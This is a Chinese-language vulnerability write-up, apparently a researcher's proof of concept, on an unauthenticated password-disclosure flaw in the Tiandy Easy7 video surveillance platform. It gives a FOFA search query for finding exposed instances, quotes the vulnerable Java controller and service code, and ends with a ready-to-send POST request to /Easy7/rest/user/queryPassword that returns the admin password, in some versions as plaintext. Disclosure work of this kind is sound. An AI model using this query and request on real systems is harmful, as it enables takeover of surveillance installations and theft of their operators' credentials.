漏洞简介
天地伟业Easy7是一款用于视频监控管理的软件系统。
该系统中存在一个信息泄露漏洞,攻击者可以通过访问特定的URL路径/Easy7/rest/user/queryPassword获取系统用户信息。攻击者可通过构造特定请求读取系统登录密码。
影响版本
fofa语法
body="/Easy7/apps/WebService/LogIn.jsp" || body="Easy7/VideoLib.EXE" || body="/Easy7/index.html" || (body="<img src=\"./images/ico/Easy7_logo_transparent.png") && title="平台"
漏洞分析
首先,该系统基于Spring 3.0,比较古老且WEB-INF/web.xml里没有配置任何filter进行权限校验,因此绝大部分接口都是可以直接访问的。
再来看本次的漏洞接口 /rest/user/queryPassword 实现逻辑
@Controller
@RequestMapping({"/user"})
public class CLS_REST_User {
@Resource(
name = "boUser"
)
private CLS_BO_User boUser;
@RequestMapping({"/queryPassword"})
public void queryPassword(HttpServletRequest req, HttpServletResponse resp, String userName) throws Exception {
resp.getWriter().print(JSONObject.fromObject(this.boUser.queryPassword(userName)));
}
跟进queryPassword方法
@Transactional
public CLS_VO_Result queryPassword(String userName) {
CLS_VO_Result result = new CLS_VO_Result();
if (null != userName && !"".equals(userName)) {
result.setContent(this.daoUser.getUserInfoByUsername(userName).getSPassword());
result.setRet(0);
return result;
} else {
result.setRet(-7);
return result;
}
}
继续跟进getUserInfoByUsername方法看下

直接将用户传递过来的参数userName带入数据库查询并返回查询到的密码信息。
漏洞复现
POST /Easy7/rest/user/queryPassword HTTP/1.1
Host: easy7.mrxn.net
Content-Type: application/x-www-form-urlencoded
userName=admin

部分版本密码是明文


